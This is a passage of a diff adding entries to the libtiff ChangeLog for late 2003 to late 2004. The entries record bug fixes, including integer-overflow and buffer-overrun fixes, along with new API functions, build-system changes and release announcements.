+	* tools/fax2ps.c: Be able to extract the first page (#0). As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=690
+
+2004-11-28  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_unix.c: Make UNIX module compilable (and usable)
+	on Windows.
+
+	* nmake.opt: Add missed DLLNAME variable.
+
+2004-11-26  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/makefile.vc: make it easier to rename the libtiff DLL. 
+
+2004-11-24  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* man/libtiff.3tiff: Improvements in the "LIST OF ROUTINES" table as
+	per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=545
+
+	* man/tiffset.1: Added manual page for tiffset tool written by Jay
+	Berkenbilt. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=678
+
+2004-11-23  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_error.c: fixed TIFFerror call to be TIFFError.
+
+2004-11-21  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* html/document.html: Updated Adobe web links as per email from Joris.
+
+2004-11-21  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tiffio.hxx, tiffio.h}: C++ stream interface moved to new
+	file tiffio.hxx. We don't have any C++ in tiffio.h, those who want to
+	use C++ streams should #include <tiffio.hxx>.
+
+2004-11-13  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tiff.h: Added Adobe DNG tags.
+
+	* libtiff/tif_win32.c: Typo fixed.
+
+	* libtiff/{tif_stream.cxx, tiffio.h}: C++ stream interface updated to
+	be compliant with the latest standard. Appropriate additions in
+	makefiles now completed.
+
+2004-11-11  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffset.c, libtiff/tif_dirinfo.c: Properly handle the
+	different tag types. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=600
+
+2004-11-10  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_aux.c: Set the appropriate ReferenceBlackWhite array for
+	YCbCr image which lacks that tag (noted by Hans Petter Selasky).
+
+2004-11-09  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_color.c: Division by zero fixed (Hans Petter Selasky).
+
+2004-11-07  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_stream.cxx, tiffio.h}: Added C++ stream interface
+	contributed by Edward Lam (see
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=654 for details).
+	Though no changes in any makefiles yet.
+
+2004-11-05  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_open.c: Removed close() in TIFFClientOpen() if file
+	is bad. This is the callers responsibility.
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=651
+
+2004-11-05  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tiffio.h, tif_win32.c, libtiff.def}: Added TIFFOpenW()
+	function to work with the double byte strings (used to represent
+	filenames in some locales). As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=625
+
+	* libtiff/tif_dirread.c: Fixed problem when fetching BitsPerSample and
+	Compression tags of type LONG from broken TIFFS as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=662
+
+	* libtiff/tif_dirinfo.c: Fixed definition for TIFFTAG_RICHTIFFIPTC,
+	the writecount should have uint32 type. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=662
+
+	* libtiff/tif_write.c: Fixed wrong if() statement in
+	TIFFAppendToStrip() function as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=660
+
+2004-11-04  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirinfo.c: Change definition for TIFFTAG_EXTRASAMPLES
+	field. The caller should supply a count when setting this field. As
+	per bug
+
+	 http://bugzilla.remotesensing.org/show_bug.cgi?id=648
+	
+	* libtiff/{tif_jpeg.c, tif_ojpeg.c}: TIFFTAG_JPEGTABLES should have
+	uint32 count. Use this type everywhere.
+
+2004-11-03  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_next.c: avoid use of u_long and u_char types.  Bug 653.
+
+2004-11-02  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tools/tiff2rgba.c: removed extra newlines in usage message.
+
+2004-10-30  Andrey Kiselev  <dron@ak4719.spb.edu>
+	
+	* libtiff/tif_dirwrite.c: Improvements in tag writing code.
+
+	* tools/tiff2ps.c: Fixed wrong variable data type when read Position
+	tags (Tristan Hill).
+
+2004-10-30  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tiffiop.h: added fallback definition of assert() if we
+	don't have assert.h.
+
+2004-10-29  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_fax3.c: Fixed case with the wrong decode routines
+	choosing when the incorrect Group4Options tag set. As per bug
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=323
+
+	* libtiff/tif_dirwrite.c: Fixed problem with passing count variable of
+	wrong type when writing the TIFF_BYTE/TIFF_SBYTE tags in
+	TIFFWriteNormalTag().
+
+2004-10-28  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2ps.c: Fixed wrong variable data type when read Resolution
+	tags (Peter Fales).
+
+	* tools/{bmp2tiff.c, raw2tiff.c}: Get rid of stream I/O functions.
+
+2004-10-28  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tools/tiff2pdf.c: added casts to avoid warnings.
+
+	* libtiff/libtiff.def: Added several more entry points required
+	to link fax2tiff.c against the DLL on windows. 
+
+2004-10-27  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* configure, configure.ac: Added --enable-rpath option to embed linker
+	paths into library binary.
+
+2004-10-26  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffset.c: Check the malloc return value (Dmitry V. Levin).
+
+	* libtiff/{tif_strip.c, tif_tile.c}: Zero division problem fixed
+	(Vladimir Nadvornik, Dmitry V. Levin).
+
+2004-10-16  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff 3.7.0 released.
+
+2004-10-15  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* libtiff/tif_jpeg.c: There seems to be no need to include stdio.h
+	in this file so its inclusion is removed.  Including stdio.h
+	sometimes incurs an INT32 typedef conflict between MinGW's
+	basetsd.h and libjpeg's jmorecfg.h.
+
+2004-10-15  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* man/bmp2tiff.1: Added manual page for bmp2tiff utility.
+
+2004-10-13  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* tools/tiffcmp.c (leof): Renamed from 'eof' in order to avoid
+	conflict noticed under MinGW.
+	* ltmain.sh: Fix for MinGW compilation.
+
+2004-10-13  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* man/tiffsplit.1: Fixed to indicate using aaa-zzz, not aa-zz.
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=635
+
+2004-10-12  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_dirread.c, tif_jpeg.c, tif_luv.c, tif_ojpeg.c,
+	tif_pixarlog.c, tif_write.c}: Handle the zero strip/tile sizes
+	properly (Dmitry V. Levin, Marcus Meissner).
+
+2004-10-11  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirinfo.c: Type of the TIFFTAG_SUBIFD field changed
+	to TIFF_IFD.
+
+2004-10-10  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/bmp2tif.c: Check the space allocation results.
+
+2004-10-09  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dir.c: Initialize td_tilewidth and td_tilelength fields
+	of the TIFFDirectory structure with the 0 instead of -1 to avoid
+	confusing integer overflows in TIFFTileRowSize() for striped images.
+
+	* tools/tiff2pdf.c: Fixed TransferFunction tag handling reported
+	by Ross A. Finlayson.
+
+	* libtiff/tif_dir.c: Fixed custom tags handling as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=629
+
+2004-10-08  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dirinfo.c: Fix bug with tif_foundfield and reallocation
+	of tif_fieldinfo.  
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=630
+
+2004-10-04  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* contrib/iptcutil/README: Added the missing README which goes
+	along with iptcutil.
+
+2004-10-03  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_compress.c: Improved error reporting in
+	TIFFGetConfiguredCODECs() (Dmitry V. Levin).
+
+2004-10-02  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff 3.7.0beta2 released.
+
+	* libtiff/{tif_aux.c, tif_compress.c, tif_dirinfo.c, tif_dirwrite.c,
+	tif_extension.c, tif_fax3.c, tif_luv.c, tif_packbits.c,
+	tif_pixarlog.c, tif_write.c}: Added checks for failed memory
+	allocations and	integer overflows (Dmitry V. Levin).
+
+	* libtiff/tiff.h: Missed TIFF_BIGTIFF_VERSION constant added.
+
+2004-10-01  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_open.c: added a more informative message if a BigTIFF
+	file is opened.
+
+2004-09-30  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dirinfo.c: changed type of XMLPacket (tag 700) to 
+	TIFFTAG_BYTE instead of TIFFTAG_UNDEFINED to comply with the info
+	in the Adobe XMP Specification.
+
+2004-09-29  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_jpeg.c, tif_pixarlog.c}: Use _TIFFmemset() instead of
+	memset().
+
+	* libtiff/{tif_dirread.c, tif_strip.c, tif_tile.c}: Applied patches
+	from Dmitry V. Levin to fix possible integer overflow problems.
+
+2004-09-28  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_getimage.c: Check for allocated buffers before clearing
+	(Dmitry V. Levin).
+
+2004-09-26  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_dir.h, tif_dir.c, tif_dirread.c, tif_write.c}:
+	Optimize checking for the strip bounds. 
+
+	* libtiff/{tif_dirread.c, tif_strip.c}: TIFFScanlineSize() and
+	TIFFRasterScanlineSize() functions report zero in the case of integer
+	overflow now. Properly handle this case in TIFFReadDirectory()
+	(patches from Dmitry V. Levin).
+
+2004-09-25  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_dirinfo.c, tif_strip.c, tif_tile.c}: Use TIFFhowmany8()
+	macro where appropriate.
+
+	* tools/tiff2bw.c: Write ImageWidth/Height tags to output file, as
+	noted by Gennady Khokhorin.
+
+	* libtiff/tif_dirread.c: Always check the return values, returned
+	by the _TIFFmalloc() (Dmitry V. Levin).
+
+	* libtiff/tif_dir.c: Fixed possible integer overflow _TIFFset*Array()
+	functions (Dmitry V. Levin).
+
+	* libtiff/{tif_dirread.c, tif_dir.c, tif_write.c}:
+	Potential memory leak fixed in TIFFReadDirectory(), _TIFFVSetField(),
+	TIFFGrowStrips() (found by Dmitry V. Levin).
+
+2004-09-24  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tiffio.h, tif_compress.c}: Added TIFFGetConfiguredCODECs()
+	to get the list of configured codecs.
+
+	* libtiff/{tiffiop.h, tif_dirread.c}: More overflow fixes from
+	Dmitry V. Levin.
+
+2004-09-23  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirread.c: Applied patch from Dmitry V. Levin to fix
+	possible integer overflow in CheckMalloc() function.
+
+2004-09-22  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tiffiop.h, tif_strip.c}: Use TIFFhowmany8() macro instead
+	of plain TIFFhowmany() where appropriate.
+
+2004-09-21  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_getimage.c: Initialize arrays after space allocation.
+
+2004-09-19  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff 3.7.0beta released.
+
+	* libtiff/{tif_luv.c, tif_next.c, tif_thunder.c}: Several buffer
+	overruns fixed, as noted by Chris Evans.
+
+2004-09-14  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* commit: Added a script to make it more convenient to commit
+	updates.  The CVS commit message is extracted from this ChangeLog
+	file.
+
+2004-09-14  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* configure.ac, configure, aclocal.m4, libtiff/{mkspans.c, tif_fax3.c,
+	tif_getimage.c, tif_luv.c, tif_lzw.c, tif_ojpeg.c, tif_packbits.c,
+	tif_predict.c, tif_read.c, tif_swab.c, tif_thunder.c, tif_write.c,
+	tif_dir.c, tif_dirread.c, tif_dirwrite.c, tif_jpeg.c, tif_dirinfo.c,
+	tif_vms.c, tif_print.c, tif_strip.c, tif_tile.c, tif_dir.h,
+	tif_config.h.in, tiffiop.h}:
+	Get rid of BSD data types (u_char, u_short, u_int, u_long).
+
+2004-09-13  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* libtiff/tiff.h: Fix column tagging. Reference current Adobe XMP
+	specification. Reference libtiff bug tracking system to submit
+	private tag additions.
+
+2004-09-12  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* tools/tiffgt.c: Include "tif_config.h".
+
+	* configure.ac: Use AM_PROG_CC_C_O since it is now needed to build
+	tiffgt.  This results in the 'compile' script being added to the
+	project.
+
+	* tools/Makefile.am (tiffgt_CFLAGS): Add extra build options
+	required to find OpenGL headers necessary to build tiffgt.  Also
+	ensure that the libtiff that we built is used rather than some other
+	libtiff installed on the system.
+
+2004-09-12  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* configure.ac, acinclude.m4, aclocal.m4: New macros to detect GLUT
+	libraries.
+
+2004-09-11  Bob Friesenhahn  <bfriesen@simple.dallas.tx.us>
+
+	* configure.ac: Pass library configuration defines via
+	tif_config.h rather than extending CPPFLAGS. Configure a
+	libtiff/tiffconf.h in order to satisfy application requirements
+	(not used by library build). Do not define _POSIX_C_SOURCE=2 since
+	this causes failure to build on systems which properly respect
+	this request.
+
+	* libtiff/tiffconf.h.in: New file to act as the template for the
+	configured tiffconf.h
+
+	* libtiff/files.lst (HDRS): Install the configured tiffconf.h.
+
+2004-09-10  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* html/internals.html: Split off a discussion of adding new tags
+	into addingtags.html.
+
+2004-09-10  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* test/{ascii_tag.c, long_tag.c}: Preliminary test suite added.
+
+	* tools/tiff2pdf.c: Fixed reading TransferFunction tag as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=590
+
+	* libtiff/tif_print.c: Fixes in InkNames and NumberOfInks reporting.
+
+	* libtiff/tif_dirread.c: Don't reject to read tags of the
+	SamplesPerPixel size when the tag count is greater than number of
+	samples as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=576
+
+	* libtiff/tiff.h: Use _TIFF_DATA_TYPEDEFS_ guardian to switch off
+	defining int8/uint8/... etc. types. As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=607
+
+2004-09-09  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tools/tiff2ps.c, tools/tiffmedian.c: fiddle with include files
+	to avoid compile warnings about getopt() and a few other things.
+
+2004-09-02  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirread.c: Use memcpy() function instead of pointer
+	assigning magic in TIFFFetchFloat().
+
+2004-09-01  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tiffio.h, tif_open.c}: Applied patches from Joris Van Damme
+	to avoid requirement for tiffiop.h inclusion in some applications. See
+	here
+
+	http://www.asmail.be/msg0054799560.html
+	
+	for details.
+
+	* tools/fax2tiff.c: Use the new functions in the code.
+
+2004-08-25  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2pdf.c: Initialize arrays properly.
+
+	* tools/tiff2ps.c: Avoid zero division in setupPageState() function;
+	properly initialize array in PSDataBW().
+
+2004-08-24  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2pdf.c: More fixes for bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=590
+
+	from Ross Finlayson.
+
+2004-08-23  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2ps.c: Fixed problem with uninitialized values.
+
+	* libtiff/tif_dir.c: Initialize tif_foundfield data member in the
+	TIFFDefaultDirectory() (in addition to 2004-08-19 fix).
+
+	* tools/tiff2pdf.c: Fixed a bunch of problems as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=590
+
+2004-08-20  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2pdf.c: Applied patch from Ross Finlayson that checks
+	that the input file has compression, photometric interpretation,
+	etcetra, tags or if not than a more descriptive error is returned.
+
+	* libtiff/tif_dirread.c: Fixed problem in TIFFReadDirectory() in the
+	code, responsible for tag data type checking.
+
+2004-08-19  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tiffiop.h, tif_dirinfo.c}: Fixed problem with the static
+	variable as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=593
+
+2004-08-16  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/ras2tiff.c: Fixed issue with missed big-endian checks as per
+	bug http://bugzilla.remotesensing.org/show_bug.cgi?id=586
+
+2004-08-01  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_config.h.in, tif_config.h.vc}: config.h.in and
+	config.h.vc files renamed in the tif_config.h.in and tif_config.h.vc.
+
+2004-07-24  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_lzw.c: LZW compression code is merged back from the
+	separate package. All libtiff tools are updated to not advertise an
+	abcence of LZW support.
+
+2004-07-12  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tiffio.h: Revert thandle_t back to void* type.
+
+2004-07-11  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_read.c, tif_tile.c, tif_strip.c}: Fixes in error
+	messages, as suggested by Bernd Herd.
+
+2004-07-03  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dir.c: Call TIFFError() instead of producing warnings
+	when setting custom tags by value. Reported by Eric Fieleke.
+
+2004-06-14  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/bmp2tiff.c: Add missed RawsPerStrip setting.
+
+2004-06-08  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/bmp2tiff.c: Added new utility to convert Windows BMP files
+	into TIFFs.
+
+2004-06-07  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff 3.7.0alpha released.
+
+2004-06-06  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tiff.h, tif_dirwrite.c, tif_fax3.c, tif_packbits.c,}: Get rid
+	of ugly 64-bit hacks, replace them with the clever (autoconf based )
+	ones :-).
+
+	* libtiff/tiffio.h: Define thandle_t as int, not void* (may cause
+	problems in 64-bit environment).
+
+2004-06-05  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffset.c: tiffset now can set any libtiff supported tags.
+	Tags can be supplied by the mnemonic name or number.
+
+	* libtiff/{tiffio.h, tif_dir.h, tif_dirinfo.c,}: Added two new
+	functions TIFFFindFieldInfoByName() and TIFFFieldWithName().
+
+2004-05-27  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_ojpeg.c: Fixed problem with duplicated SOI and SOF
+	markers as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=581
+
+2004-05-24  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffsplit.c: Don't forget to copy Photometric
+	Interpretation tag.
+
+2004-05-20  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_open.c, tiffio.h}: New function added:
+	TIFFIsBigEndian(). Function returns nonzero if given was file written
+	in big-endian order.
+
+	* tools/tiffsplit.c: Fixed problem with unproperly written multibyte
+	files. Now output files will be written using the same byte order
+	flag as	in the input image. See
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=574
+	
+	for details.
+	
+2004-05-19  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_print.c: added (untested) support for printing
+	SSHORT, SLONG and SRATIONAL fields.
+
+	* tools/tiffcp.c: close output file on normal exit.
+
+2004-05-17  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_fax3.c: Avoid reading CCITT compression options
+	if compression type mismatches. See
+	
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=565
+
+2004-04-30  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_strip.c: Never return 0 from the
+	TIFFNumberOfStrips().
+
+2004-04-29  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dirread.c: Workaround for broken TIFF writers which
+	store single SampleFormat value for multisampled images. See
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=562
+
+2004-04-25  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* configure.ac, libtiff/{tiff.h, config.h.in}: Added tests for int8,
+	int16 and int32 types to avoid complains on some compilers. Details at
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=39
+
+2004-04-20  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiff2pdf.c: Fixed problem with unaligned access as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=555
+
+2004-04-14  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_write.c: Allow in-place updating of the compressed
+	images (don't work properly with all codecs). For details see GDAL bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=534
+
+2004-04-06  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_jpeg.c: Workaround for wrong sampling factors used
+	in the Intergarph JPEG compressed TIFF images as per bug:
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=532
+
+2004-04-04  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_open.c: close clientdata if TIFFClientOpen() fails
+	via bad2. 
+
+2004-03-26  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffcp.c: Properly set Photometric Interpretation in case of
+	JPEG compression of grayscale images.
+
+	* tools/tiffcp.c: Don't emit warnings when Orientation tag does not
+	present in the input image.
+
+2004-03-19  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* {many}: The first attempt to switch to autotools.
+
+2004-03-03  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_open.c: Use dummy mmap/munmap functions in
+	TIFFClientOpen() when the appropriate client functions was not
+	supplied by user.
+
+2004-03-02  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* tools/ycbcr.c: fixed main() declaration as per:
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=513
+
+2004-02-26  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffsplit.c: Copy JPEGTables tag contents for JPEG compressed 
+	images. Reported by Artem Mirolubov.
+
+	* libtiff/tif_dirread.c: Fixed problem with handling TIFF_UNDEFINED 
+	tag type in TIFFFetchNormalTag() as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=508
+
+2004-02-17  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_codec.c: Fixed typo in TIFFInitPackBits name as per:
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=494
+
+2004-02-05  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_fax3.c: Fixed problem with CCITT encoding modes as per
+	bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=483
+
+	But we need more work on fax codec to support update mode.
+
+2004-01-30  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/libtiff.def: Added TIFFCurrentDirOffset, TIFFWriteCheck,
+	TIFFRGBAImageOK, and TIFFNumberOfDirectories as suggested by 
+	Scott Reynolds. 
+
+2004-01-29  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tiff.h: Fixed tag definitions for TIFFTAG_YCLIPPATHUNITS
+	and TIFFTAG_INDEXED as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=475
+
+	* libtiff/{tif_win32.c, tif_unix.c}: Check whether the pointer is
+	NULL before proceeding further as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=474
+
+	Check results, returned by the TIFFFdOpen() before returning and close
+	file if TIFFFdOpen() failed as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=468
+	
+	* libtiff/tif_open.c: More fixes for
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=468
+
+2004-01-28  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{libtiff.def, tif_close.c, tiffio.h, tif_open.c}: Separate
+	TIFFCleanup() from the TIFFClose() in order to fix the bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=468
+
+	* tools/tiffcp.c: Fixed problem with wrong interpretation of the
+	InkNames tag as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=466
+
+	Memory leak fixed.
+
+2004-01-21  Frank Warmerdam  <warmerdam@pobox.com>
+
+	* libtiff/tif_dirwrite.c: Fixed handling of writable ASCII tags that
+	are field_passcount=TRUE properly.  Arguably anonymous custom tags
+	should be declared as passcount=FALSE, but I don't want to change
+	that without a careful review. 
+
+2004-01-20  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_write.c: Fixed reporting size of the buffer in case of
+	stripped image in TIFFWriteBufferSetup(). As per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=460
+
+2004-01-11  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dir.c: Incomplete cleanup in TIFFFreeDirectory(),
+	patch from Gerben Koopmans.
+
+	* libtiff/tif_dirread.c: Check field_passcount value before setting
+	the value of undefined type, patch from Gerben Koopmans.
+
+2004-01-02  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* tools/tiffcp.c: Fixed problem with wrong Photometric setting for
+	non-RGB images.
+
+2003-12-31  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_win32.c: Fixed problem with _TIFFrealloc() when the NULL
+	pointer passed. Patch supplied by Larry Grill.
+
+	* libtiff/{tiff.h, tif_fax3.c}:Fixes for AMD 64 platform as
+	suggested by Jeremy C. Reed.
+
+2003-12-26  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff 3.6.1 released.
+
+2003-12-24  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* config.guess, config.sub: Updated from the recent upstream.
+
+2003-12-22  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_color, tif_getimage.c, tiffio.h}, man/TIFFcolor.3t:
+	More cleanups in color conversion interface, added appropriate manual
+	page.
+
+2003-12-19  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_extension.c, tif_dirinfo.c, tiff.h}: Warnings fixed as
+	per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=357
+
+	* tools/tiff2ps.c: Added support for alpha channel. Fixes
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=428
+
+	* libtiff/{libtiff.def, tif_color.c, tif_getimage.c, tiffio.h}:
+	Interface for Lab->RGB color conversion is finally cleaned up.
+	Added support for ReferenceBlackWhite tag handling when converted from
+	YCbCr color space. The latter closes
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=120
+
+2003-12-07  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_getimage.c, tiffio.h}: Avoid warnings.
+
+	* libtiff/makefile.vc, tools/makefile.vc: Support for IJG JPEG
+	library.
+
+2003-12-06  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_getimage.c, tif_aux.c}: Read WhitePoint tag from the
+	file and properly use it for CIE Lab->RGB transform.
+
+2003-12-04  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_getimage.c, tif_color.c, tiffio.h}: YCbCr->RGB
+	conversion routines now in the tif_color.c module. New function
+	TIFFYCbCrtoRGB() available in TIFF API.
+
+	* libtiff/tif_dirwrite.c: Handle TIFF_IFD tag type correctly.
+
+2003-12-03  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/{tif_getimage.c, tif_color.c, tiffio.h}: Improvements in
+	CIE Lab conversion code. Start moving YCbCr stuff to the tif_color.c
+	module.
+
+	* libtiff/{tif_getimage.c, tiffio.h}, man{TIFFReadRGBAImage.3t,
+	TIFFReadRGBAStrip.3t, TIFFReadRGBATile.3t, TIFFRGBAImage.3t}:
+	Finally resolved problems with orientation handling. TIFFRGBAImage
+	interface now properly supports all possible orientations, i.e. images
+	will be flipped both in horizontal and vertical directions if
+	required. 'Known bugs' section now removed from the appropriate manual
+	pages. Closed bug entry:
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=322
+
+2003-12-02  Andrey Kiselev  <dron@ak4719.spb.edu>
+
+	* libtiff/tif_dir.c: Fixed order of the parameters in TIFFError()
+	function calls as per bug
+
+	http://bugzilla.remotesensing.org/show_bug.cgi?id=440
+
+2003-11-28 Ross Finlayson  <libtiff@apexinternetsoftware.com>
+
